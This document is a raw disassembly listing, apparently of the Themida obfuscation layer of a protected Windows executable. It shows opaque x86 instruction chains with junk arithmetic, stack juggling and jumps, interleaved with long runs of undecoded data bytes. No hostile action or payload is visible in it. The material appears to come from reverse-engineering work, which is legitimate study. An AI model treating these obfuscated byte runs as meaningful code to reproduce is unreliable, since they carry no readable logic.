		mov	ebx, [esp]
		add	esp, 4
		push	0
		sub	[esp], ebx
		jmp	loc_553CB2
; ---------------------------------------------------------------------------
		db 81h
		dd 559173C3h, 5BDD018Ch, 4ED81h, 0FF550000h, 5D042474h
		dd 8B24048Fh, 61E92424h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A6E3:				; CODE XREF: Themida_:0055CFA4j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
byte_55A6F3	db 0FFh			; DATA XREF: Themida_:005533ACo
		dd 34FF2434h, 90E95824h, 0C1000029h, 814F08E7h,	1EFh, 72BD5500h
		dd 81216635h, 0E253BEC5h, 5DEF31E3h, 7B68B951h,	0CB2944C8h
		dd 0BCC38159h, 0E951F455h, 0FFFFD660h
; ---------------------------------------------------------------------------


loc_55A72C:				; CODE XREF: Themida_:00555763j
		add	ebx, 637A1160h
		xor	ecx, ebx
		jmp	loc_55C0E8
; ---------------------------------------------------------------------------


loc_55A739:				; CODE XREF: Themida_:0055AD5Ej
		sub	[esp+4], edi
		push	edx
		mov	edx, 1D6759B5h
		jmp	loc_5592DC
; ---------------------------------------------------------------------------


loc_55A748:				; CODE XREF: Themida_:0055578Bj
		add	esp, 4
		push	eax
		push	1521h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 1
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_55F5D3
; ---------------------------------------------------------------------------
word_55A77A	dw 6855h		; DATA XREF: Themida_:00553378o
		dd 693E12F7h, 0FFED835Dh, 6B30E581h, 0E0E90426h, 34000020h
		dd 58C32831h, 0FFF9A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A799:				; CODE XREF: Themida_:00556C64j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	5C6Dh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 3272556Ch
		xor	ebx, 0AB91204h
		xor	ebx, 5A4A5DDEh
		shl	ebx, 5
		sub	ebx, 10DD0C6Eh
		push	esi
		jmp	loc_5578C9
; ---------------------------------------------------------------------------
		db 1, 0FBh, 0E9h
		dd 0FFFFC70Ah, 0E95AB551h, 301Fh
dword_55A7D8	dd 240C8B66h, 7DF86851h, 66E90000h ; DATA XREF:	Themida_:005532FCo
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7E7:				; CODE XREF: Themida_:0055BD47j
		mov	esi, eax
		jmp	loc_55860D
; ---------------------------------------------------------------------------


loc_55A7EE:				; CODE XREF: Themida_:005571B5j
		add	ecx, esi
		pop	esi
		sub	ecx, 3C6035DBh
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A810:				; CODE XREF: Themida_:005598ECj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_554E9B
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 81000000h, 7252B3C7h, 0C2C78117h, 8102680Ah,	426165C7h
		dd 0E9CF0104h, 0FFFFDB02h, 4F0B68h, 241C8900h, 0BBh, 2B85000h
		dd 29083309h, 0D30158C3h, 902BE56h, 0EB810833h,	2795A1Ch
		dd 7CD4EB81h, 0F301287Fh, 7CD4C381h, 0C381287Fh, 2795A1Ch
		dd 8324348Bh, 3C8904ECh, 0F950E924h, 0CC80FFFFh, 0B3536677h
		dd 66DC30C1h, 58E3285Bh, 0D64DE95Ah, 0C483FFFFh, 4C48304h
		dd 31243433h, 34332434h, 70E95C24h, 2CFFFF8Ch, 0E604DCh
		dd 4E62CD0h, 5CB652DCh,	0FFC03CE9h, 4EB81FFh, 87000000h
		dd 895C241Ch, 67B3241Ch, 0E91ECB80h, 0FFFFC526h, 47E9E829h
		dd 68000007h, 6846h, 68243489h,	1D32h, 0FFC46DE9h, 0C3805CFFh
		dd 0F7B7E9A8h, 1DBBFFFFh, 0F77BCF03h, 27C381DBh, 0F7376527h
		dd 0E9DBF7D3h, 0FFFFBC25h, 4531E95Ch
		db 2 dup(0)
word_55A916	dw 9C68h		; DATA XREF: Themida_:005532B0o
		dd 8900005Fh, 0FCE92414h, 54FFFF8Bh, 0FFEFB0E9h, 4C481FFh
		dd 52000000h, 0CE240481h, 0FF010009h, 835B2434h, 0C9E904C4h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A943:				; CODE XREF: Themida_:0055CAAAj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555768
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 5932FF5Ch, 0B586E95Ah, 0E959FFFFh, 0FFFFB657h, 5259CE01h
		dd 0E012ECBAh, 0B951571Fh, 4C5454Dh, 0E981D1F7h, 8781B3FEh
		dd 119AE9h, 24048900h, 0E0F3CB8h, 66D7BF33h, 0C7317D36h
		dd 8124048Bh, 4C4h, 0C7814F00h,	2C53E30h, 7B1FB951h, 0CF017E71h
		dd 81DFF759h, 0A48943EFh, 0C0B4E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A9B6:				; CODE XREF: Themida_:005549AAj
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 1, 0D3h, 51h
		dd 8161C5B9h, 3E12E977h, 685B0000h, 2CCFh, 0F7243489h
		dd 348B2414h, 0E7895724h, 0FFA779E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A9E5:				; CODE XREF: Themida_:00557596j
		sub	esp, 4
		jmp	loc_5567BE
; ---------------------------------------------------------------------------
		dd 0E9243C8Bh, 0FFFF9414h, 0EC815758h, 4, 83242489h, 0FF042404h
		dd 0E95F2434h, 0FFFFACB9h
; ---------------------------------------------------------------------------


loc_55AA10:				; CODE XREF: Themida_:0055E5E0j
		add	esi, edi
		jmp	loc_558091
; ---------------------------------------------------------------------------
		db 8Bh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557078
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 6C46BE05h,	7CDE6835h, 14890000h, 5D91BA24h
		dd 0E9554496h, 0FFFFB222h, 0E5143CBDh, 0BFF58130h, 89363C0Fh
		dd 0EBC15DEBh, 43EB8105h, 0C10CA007h, 0EBC104E3h, 0E9D3F707h
		dd 42D7h
dword_55AA64	dd 240C8B66h, 4EC81h, 34890000h, 348B5424h, 39ABE924h
					; DATA XREF: Themida_:00553418o
		dd 0C1800000h, 498E908h, 83550000h, 248904ECh, 8CBCE924h
		dd 0C481FFFFh, 4, 41DD68h, 243C8900h, 268h, 79E95F00h
		db 0B6h, 2 dup(0FFh)
byte_55AAA7	db 66h			; DATA XREF: Themida_:00553434o
		dd 6824048Bh, 781h, 54240C89h, 1740E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AAB9:				; CODE XREF: Themida_:0055DFF7j
		add	eax, 0F0B39D22h
		add	ebx, eax
		pop	eax
		jmp	loc_55DD10
; ---------------------------------------------------------------------------
word_55AAC6	dw 34FFh		; DATA XREF: Themida_:00553338o
		dd 0A55EE924h, 1C89FFFFh, 1C8B5424h, 14D7E924h
		db 2 dup(0)
word_55AADA	dw 77FFh		; DATA XREF: Themida_:005533C4o
		dd 59669D1Ch, 9C2414D3h, 0FF8A36E9h, 5BD931FFh,	8159CB29h
		dd 4D7260C3h, 81C32929h, 4D7260EBh, 0ADBE5629h,	0E945F540h
		dd 3A4Bh, 0E958C109h, 0FFFFE009h, 24143166h, 31665866h
		dd 33662404h, 31662404h, 0F8E92404h, 81FFFF89h,	0EFB8FFF7h
		dd 5FF92953h, 4DA5E9h, 8ABB5300h, 0E9136755h, 0FFFFBE9Dh
		dd 4B58C331h, 6731CB81h, 0EC8354F9h, 242C8904h,	9C0FC3BDh
		dd 2EDC10Bh, 0FFED814Dh, 0F7FFFFFFh, 0BF5753D5h, 6D6546B1h
		dd 733CC781h, 0EF81410Dh, 5BE22FD0h, 0CFF6F781h, 0FB89405Ah
		dd 5BDD315Fh, 0FFEAF8E9h, 2474FFFFh, 48F5A04h, 0D8295C24h
		dd 1E8568h, 243C8900h, 75193EBFh, 0B9CFE973h, 815AFFFFh
		dd 0DD4FFDEFh, 0ABE2E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABAE:				; CODE XREF: Themida_:0055A122j
		push	eax
		mov	eax, 4
		jmp	loc_5594AD
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 4
		db 43h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_558467
; ---------------------------------------------------------------------------


loc_55ABD5:				; CODE XREF: Themida_:0055C0A5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	7BA77143h
		pop	edx
		inc	edx
		jmp	loc_556B10
; ---------------------------------------------------------------------------


loc_55ABF8:				; CODE XREF: Themida_:0055E3DBj
		xor	al, ch
		pop	cx
		jmp	loc_55746E
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 0E9h
		dd 0D2Bh, 0C380FCB4h, 9E75E939h, 0C483FFFFh, 24048F04h
		dd 8924248Bh, 34FF2404h, 2434FF24h, 44D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC29:				; CODE XREF: Themida_:0055EF2Dj
		pop	ebx
		jmp	loc_55BA0A
; ---------------------------------------------------------------------------


loc_55AC2F:				; CODE XREF: Themida_:0055BA6Dj
		pop	eax
		sub	esi, 0DB2103Eh
		add	esi, 4243D24Fh
		add	ebp, esi
		pop	esi
		jmp	loc_55CFA1
; ---------------------------------------------------------------------------


loc_55AC44:				; CODE XREF: Themida_:0055DEADj
		or	ebx, 5DC6462Ch
		jmp	loc_555E2F
; ---------------------------------------------------------------------------
		db 2Dh
		dd 396272CBh, 0BA52D001h, 396272CBh, 2D5AD001h,	30C950A7h
		dd 32D4E95Ah, 0DD210000h, 5B2434FFh, 5704C483h,	8E12A6BFh
		dd 3EFC140h, 5FAABE56h,	0EE817C4Ch, 52E82211h, 0E95EF721h
		dd 0FFFFA3B0h
; ---------------------------------------------------------------------------


loc_55AC90:				; CODE XREF: Themida_:0055B73Dj
		and	esi, 4C41655Fh
		jmp	loc_5571AF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF887Fh, 5624348Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h
		dd 0FFFFAF44h, 5624048Bh, 0C681E689h, 4, 0FFEBA2E9h, 243C8BFFh
		dd 81E78957h, 4C7h, 0D851E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACDA:				; CODE XREF: Themida_:00554687j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		and	ecx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55F710
; ---------------------------------------------------------------------------
		dd 42474FFh, 83243C8Bh,	48F04C4h, 299BE924h, 0E6890000h
		dd 4C681h, 57680000h, 89000069h, 0B868243Ch, 89000037h
		dd 2BE2434h, 0E9000000h, 0FFFFA8A2h, 0EA37E95Bh, 0EC81FFFFh
		dd 4, 0E9241C89h, 0FFFFE540h, 0CE37E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD4E:				; CODE XREF: Themida_:00555D9Ej
		mov	edi, 16251FDBh
		push	ebx
		mov	ebx, 1D6759B5h
		sub	[esp+8], ebx
		pop	ebx
		jmp	loc_55A739
; ---------------------------------------------------------------------------
		db 55h
		dd 573859BDh, 0BAC68145h, 16AA640h, 48F2E9EEh, 0EC830000h
		dd 24148904h, 0DD6FC868h, 24148B2Eh, 4C481h, 0DAF70000h
		dd 35B8E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD92:				; CODE XREF: Themida_:00557C59j
		xchg	edx, [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55E2E8
; ---------------------------------------------------------------------------
		db 0F7h
		dd 47ED81D5h, 8128B506h, 5F7957C5h, 6EDC172h, 79CDED81h
		dd 0E801951Ah, 0FF9876E9h, 6BA52FFh, 0E926A74Eh, 0FFFFEA6Ah
		dd 0A2EDEE81h, 0D6E95D8Ch, 0BE000034h, 45D25468h, 815EF501h
		dd 2B4C91C5h, 976E927h,	4310000h, 24043324h, 8B24248Bh
		dd 89522404h, 0E4BD55E2h, 81754065h, 0BF9A20C5h, 0FEC2818Ah
		dd 0E972807Fh, 1057h, 0E95FFA01h, 0FFFFC414h, 2D05BA52h
		dd 0D5895631h, 0CFDE95Ah, 29660000h, 0E95A66D3h, 0FFFFD93Ch
		dd 0E95AD001h, 3133h, 0F607E1C0h, 8BE980D9h, 59C800h, 48B58C6h
		dd 4C48124h, 30000000h,	0D5BBE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE62:				; CODE XREF: Themida_:0055E0A0j
		sub	ebx, 3CE754B3h
		add	ebx, ecx
		add	ebx, 3CE754B3h
		mov	ecx, [esp]
		add	esp, 4
		push	74F0h
		jmp	loc_559B3F
; ---------------------------------------------------------------------------


loc_55AE80:				; CODE XREF: Themida_:00558705j
		mov	edi, 2
		add	ebp, 75B8166Bh
		add	ebp, edi
		sub	ebp, 75B8166Bh
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	3742h
		jmp	loc_555558
; ---------------------------------------------------------------------------
		dd 2C7E68h, 241C8900h, 778E68h,	24048900h, 53D8B652h, 0C7FE3DB7h
		dd 0E9EFEF80h, 0FFFF965Eh, 55BCEB81h, 0C38151F4h, 44C87B68h
		dd 148B665Fh, 0C4E3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AEE2:				; CODE XREF: Themida_:00553ECEj
		push	ebx
		push	eax
		mov	eax, 0D6299C2Fh
		mov	ebx, eax
		jmp	loc_55F096
; ---------------------------------------------------------------------------
		dd 4244481h, 4C332B42h,	322E958h, 148B0000h, 4A44E924h
		dd 0BA520000h, 4, 0A071E957h, 0C083FFFFh, 460E904h, 0F1800000h
		dd 4BF18020h, 8B59CA28h, 8950240Ch, 405E0h, 4050000h, 50000000h
		dd 42474FFh, 4C06E9h, 53D2F700h, 7FFC6FBBh, 0E9DA29F3h
		dd 2EECh, 4C4815Ah, 68000000h, 188Dh, 0BE243489h, 4, 2DD8E9h
		dd 2BC68100h, 811D78F5h, 870597F6h, 0D7C6813Dh,	81DFF7DBh
		dd 4ECh, 0CEDBE900h, 0E952FFFFh, 0FFFFDA85h, 93CEE951h
		dd 4105FFFFh, 550C2821h, 6A5813BDh, 0ED814D79h,	2E574C67h
		dd 69B1ED81h, 0F5813826h, 50951F35h, 55BCED81h,	8B05FF34h
		dd 2D580118h, 6B882492h, 0D2E9E829h
		db 0E3h, 2 dup(0FFh)
off_55AFC3	dd offset dword_416000+168h ; DATA XREF: Themida_:0055344Co
		align 4
		dd 89242C89h, 4C581E5h,	83000000h, 81E904EDh, 83FFFFEEh
		dd 545304C4h, 4C3815Bh,	57000000h, 4BFh, 5FFB0100h, 8B241C87h
		dd 34872424h, 8521E924h, 0DE01FFFFh, 2434335Bh,	33243431h
		dd 2AE92434h, 87000021h, 835C2414h, 3C8904ECh, 815F5424h
		dd 4C7h, 43F4E900h, 0DE2D0000h,	5614EF17h, 2048BA52h, 0D6892C5Eh
		dd 0ABAE9h, 0C7815F00h,	0B2D79141h, 19E9F989h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B047:				; CODE XREF: Themida_:00555FF8j
		add	esp, 4
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_55B2E0
; ---------------------------------------------------------------------------
		dw 0B1B8h
		dd 173BF03h, 0E95558C3h, 32Ch, 8704C083h, 815C2404h, 5F6D57F3h
		dd 0B12AE957h, 489FFFFh, 4B824h, 0C2010000h, 24148758h
		dd 4EC815Ch, 89000000h,	0C9E9240Ch, 0FFFFFFE9h,	0E95F2434h
		dd 0FFFFC55Dh, 0B7535066h, 3097B0CDh, 9C01E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B0AA:				; CODE XREF: Themida_:0055CAB9j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 0CED8D1C0h
		jmp	loc_559CD5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 0DB70E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B0DE:				; CODE XREF: Themida_:0055738Ej
		pop	ebp
		jmp	loc_554AFF
; ---------------------------------------------------------------------------
		dd 104C483h, 241C8BD8h,	0FFB05FE9h, 64E959FFh, 8900003Ah
		dd 46E9241Ch, 66000002h, 0C0B60F58h, 0E987048Fh, 0FFFF8413h
; ---------------------------------------------------------------------------


loc_55B10C:				; CODE XREF: Themida_:0055F6D7j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	esi
		push	ebp
		push	24EFh
		mov	[esp], ecx
		mov	ecx, 30BC4E98h
		push	4A3Ah
		mov	[esp], eax
		mov	eax, ecx
		mov	ebp, eax
		pop	eax
		pop	ecx
		mov	esi, 7FE2558Dh
		not	esi
		push	4A1Fh
		mov	[esp], ebp
		jmp	loc_55FBFC
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0FED8F692h, 0E98424C0h, 0FFFF998Ch, 0BF57FE01h, 2C5745A3h
		dd 5F5FFE01h, 8904EC83h, 2BF243Ch, 0E9000000h, 0FFFFD5CEh
		dd 0EBB55152h, 0FF8A0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B191:				; CODE XREF: Themida_:00558885j
		xchg	ebp, [esp]
		jmp	loc_55B686
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0D5h
		dd 813F3F0Eh, 204C81F2h, 72EA8177h, 31EB2BB6h, 68E95AD0h
		dd 0D000000Bh, 80D9F6E9h, 0C82809F1h, 0CFB25259h, 285AD000h
		dd 0E9CF2CD8h, 0FFFF8932h, 94BAE949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B1D2:				; CODE XREF: Themida_:00555B01j
		mov	ebp, eax
		pop	eax
		dec	ebp
		add	ebp, 322B153Fh
		add	ebp, 1D629E97h
		mov	ebx, ebp
		jmp	loc_55DCB8
; ---------------------------------------------------------------------------


loc_55B1E9:				; CODE XREF: Themida_:00558F83j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edx, 3B3676E3h
		push	ecx
		mov	ecx, 4A5908CFh
		xor	edx, ecx
		jmp	loc_553C9D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 0E9000000h, 0FFFFD849h, 2F96C581h, 0E9597DB8h, 3F78h
		dd 0C047E956h, 0DD01FFFFh, 8CE9555Bh, 5DFFFFA3h, 0FFA5EFE9h
		dd 5A5452FFh, 4C281h, 0EA810000h, 4, 5C241487h,	83242489h
		dd 5D042404h, 4C581h, 0C680000h, 8900005Bh, 0D2E9240Ch
		dd 5FFFFFCFh, 48BC701h,	4C48124h, 81000000h, 0CB5B88EFh
		dd 8BF831F7h, 0C481243Ch, 4, 57BA5257h,	8172BB34h, 356B88F2h
		dd 0F7DAF725h, 9667E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B296:				; CODE XREF: Themida_:00553D14j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		push	edi
		push	48083E9Ch
		pop	edi
		jmp	loc_558146
; ---------------------------------------------------------------------------


loc_55B2BC:				; CODE XREF: Themida_:0055B327j
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55601E
; ---------------------------------------------------------------------------
		dw 0F289h
		dd 0E3C6815Eh, 0E90B6613h, 0FFFFB052h
; ---------------------------------------------------------------------------


loc_55B2E0:				; CODE XREF: Themida_:0055B051j
		push	6496h
		jmp	loc_55BBA4
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 685C2404h, 1C71h,	0FFD321E9h, 2EAC1FFh, 4894E9h
		dd 240C8B00h, 0E904C483h, 0FFFFC610h, 58E95E58h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B317:				; CODE XREF: Themida_:00553E9Cj
		pop	ebx
		xor	ebx, 4C1B07BCh
		mov	edi, ebx
		pop	ebx
		sub	edi, 70C546D6h
		jmp	loc_55B2BC
; ---------------------------------------------------------------------------
		dd 0FF387F88h, 835B2434h, 8B5904C4h, 0C481241Ch, 4, 0FF81DAE9h
		dd 8626BBFFh, 6856099Fh, 3F6Ah,	0E9241489h, 1063h, 8107E7C1h
		dd 0C00884C7h, 0FFFD0100h, 34FF2434h, 243C8B24h, 8104C483h
		dd 4C4h, 0A92E900h, 4870000h, 0C6D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B382:				; CODE XREF: Themida_:0055FAE9j
		shr	ebx, 3
		sub	ebx, 69E004F4h
		jmp	loc_55C887
; ---------------------------------------------------------------------------
		dd 0C73505BDh, 4E5C12Eh, 0FF8D87E9h, 91EE81FFh,	818E85CBh
		dd 0DF1629EAh, 26E8E95Ch, 0EC810000h, 4, 0B3241C89h, 0C445E963h
		dd 248BFFFFh, 0C896624h, 0B60F6624h, 9C5166C8h,	40CDE9h
		dd 8149E900h, 0C281FFFFh, 4, 4EC81h, 4890000h, 2B824h
		dd 1FE90000h, 8100003Ch, 0FF677FF3h, 5BD9012Eh,	0FFB130E9h
		dd 11EF81FFh, 58074629h, 4EF81h, 3C870000h, 0C858E924h
		dd 248BFFFFh, 0CC02E924h, 3C89FFFFh, 50526824h,	3C8B9259h
		dd 4C48124h, 81000000h,	8548B1C5h, 0E9FD015Eh, 0FC5h
; ---------------------------------------------------------------------------


loc_55B438:				; CODE XREF: Themida_:0055F6AAj
		mov	edx, 31FF606Ch
		xor	edx, esi
		mov	esi, [esp]
		jmp	loc_55883A
; ---------------------------------------------------------------------------


loc_55B447:				; CODE XREF: Themida_:0055DE0Dj
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55876D
; ---------------------------------------------------------------------------
aQqCs3		db '·QQµcé<3',0
		align 2
		dw 6856h
		dd 7FBAh, 0B9240C89h, 12A66BF3h, 0BCAB46BEh, 63EE813Bh
		dd 811EB371h, 391E09EEh, 81CE290Ch, 391E09C6h, 63C6810Ch
		dd 591EB371h, 672768h, 243C8900h, 0BA42B9BFh, 0A0685674h
		dd 8BB45BFCh, 0C4812434h, 4, 0FFB6BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B4B1:				; CODE XREF: Themida_:0055EE88j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5564A1
; ---------------------------------------------------------------------------
		dd 5966CB28h, 805BDD30h, 0ED809EC5h, 48D04D1h, 0E9E82859h
		dd 0FFFFDD05h, 83241C8Bh, 0D82804C4h, 806CB151h, 0C8287AE9h
		dd 0EF0FE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B4EA:				; CODE XREF: Themida_:0055BCF6j
		push	edx
		push	299Ah
		jmp	loc_5588FA
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 57000000h, 42474FFh,	24048F5Fh, 4C4835Ch, 9C240401h
		dd 0FF800EE9h, 0E68956FFh, 4C681h, 0EE810000h, 2, 8904EC83h
		dd 74FF2434h, 8F5E0424h, 248B2404h, 1C896624h, 71B25224h
		dd 0F607E2C0h, 0BEC280D2h, 0FFB950E9h, 5AF388FFh, 4AFE9h
		dd 0C3816600h, 43665762h, 0F1F38166h, 0C381663Dh, 0E93850h
		dd 66000000h, 35A9E956h, 0EA880000h, 0FF8FB1E9h, 2434FFFFh
		dd 8E9BE959h
		db 2 dup(0FFh)
word_55B57A	dw 8B66h		; DATA XREF: Themida_:0055331Co
		dd 0EC81240Ch, 4, 89241489h, 685355E2h,	66571D4Bh, 35AABD5Bh
		dd 0ED81FB14h, 75501156h, 0C581DD01h, 75501156h, 40C5815Bh
		dd 0D14AF304h, 6E5C1EDh, 4600E581h, 0F581348Dh,	884604h
		dd 20E9EA01h, 51FFFF8Bh, 4EC81h, 0A3E90000h, 89000037h
		dd 3C8B5EF1h, 4C48324h,	72037505h, 2DC80120h, 20720375h
		dd 0FF9F4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B5E9:				; CODE XREF: Themida_:00555D50j
		mov	[esp], ebp
		jmp	loc_553F0C
; ---------------------------------------------------------------------------
		db 30h,	0E1h, 58h
		dd 0E959C830h, 0FFFFF041h
; ---------------------------------------------------------------------------


loc_55B5FC:				; CODE XREF: Themida_:0055EAD9j
		xchg	ecx, [esp]
		jmp	loc_55454B
; ---------------------------------------------------------------------------


loc_55B604:				; CODE XREF: Themida_:005559EBj
		add	ebp, 55F83058h
		add	ebp, esi
		sub	ebp, 55F83058h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55D15E
; ---------------------------------------------------------------------------


loc_55B61B:				; CODE XREF: Themida_:00553FB8j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55DC5E
; ---------------------------------------------------------------------------


loc_55B62F:				; CODE XREF: Themida_:0055CD3Aj
		mov	ah, 6Eh
		dec	ah
		shr	ah, 6
		neg	ah
		add	ah, 3Fh
		xor	dl, ah
		jmp	loc_557669
; ---------------------------------------------------------------------------


loc_55B642:				; CODE XREF: Themida_:005582B3j
		push	63E1h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 8522C605h
		jmp	loc_55BDF1
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 0BCC78107h, 31776B7Ah, 0EE815FFEh, 4EE9BF6h,	24048156h
		dd 179700F5h, 0DAEBE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B686:				; CODE XREF: Themida_:0055B194j
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
byte_55B693	db 0FFh			; DATA XREF: Themida_:005534CCo
		dd 0E94077h, 1FFFFF6h, 0BF575AD5h, 2, 34FFFD01h
		db 24h,	5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55A175
; ---------------------------------------------------------------------------
		dw 814Ah
		dd 15B633EAh, 5AD12940h, 0C8BCE29h, 0EEA1E924h,	0E94DFFFFh
		dd 0FFFFC846h, 0E95A1388h, 3AF7h, 0E95BF800h, 0FFFFAC7Bh
; ---------------------------------------------------------------------------


loc_55B6DC:				; CODE XREF: Themida_:00556AC9j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_554AD0
; ---------------------------------------------------------------------------
		dd 4BBh, 245C0100h, 9ED2E904h, 0BDBFFFFFh, 314A7907h, 0BB535FF9h
		dd 17EF55F8h, 0D3F7D3F7h, 0EAC3814Bh, 0C1441F27h, 0C38107EBh
		dd 0B3971E3Ah, 0F3E9D901h, 5CFFFFDAh, 9C2404FFh, 0FF7DEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B731:				; CODE XREF: Themida_:0055D291j
		sub	ecx, 7A856F29h
		push	esi
		mov	esi, 57F6D01h
		jmp	loc_55AC90
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C242C87h, 9C240421h, 0FF7DCAE9h,	0B5C381FFh, 120460Ch
		dd 0C1815BD9h, 2, 0E9240C87h, 3827h, 0ED81C501h, 272B4C91h
		dd 5468ED81h, 48B45D2h,	4C48124h, 50000000h, 2B8h, 58C50100h
		dd 8B242C87h, 44E92424h, 89FFFF9Bh, 8268241Ch, 0E9000037h
		dd 0FFFF9ECFh, 13CFBB66h, 246C8166h, 6671E304h,	4245C29h
		dd 24448166h, 6671E304h, 2EC815Bh, 66000000h, 66241489h
		dd 663726BAh, 4244481h,	0E8E91A92h, 57000039h, 42474FFh
		dd 0FF8A91E9h, 0A6856FFh, 5E41F545h, 0DD6E946h,	33580000h
		dd 3C31243Ch, 243C3324h, 2434FF5Ch, 0E1895159h,	4C181h
		dd 5680000h, 89000075h,	0BB532414h, 4, 835BDA89h, 48904ECh
		dd 6464B824h, 0C1291F24h, 0E9D10158h, 0FFFF8AF2h, 0E3F68058h
		dd 45AF088h, 0E9C10067h, 155Fh,	0E41C381h, 0DE01B0B1h
		dd 4B8505Bh, 1000000h, 343358C6h, 24343124h, 5C243433h
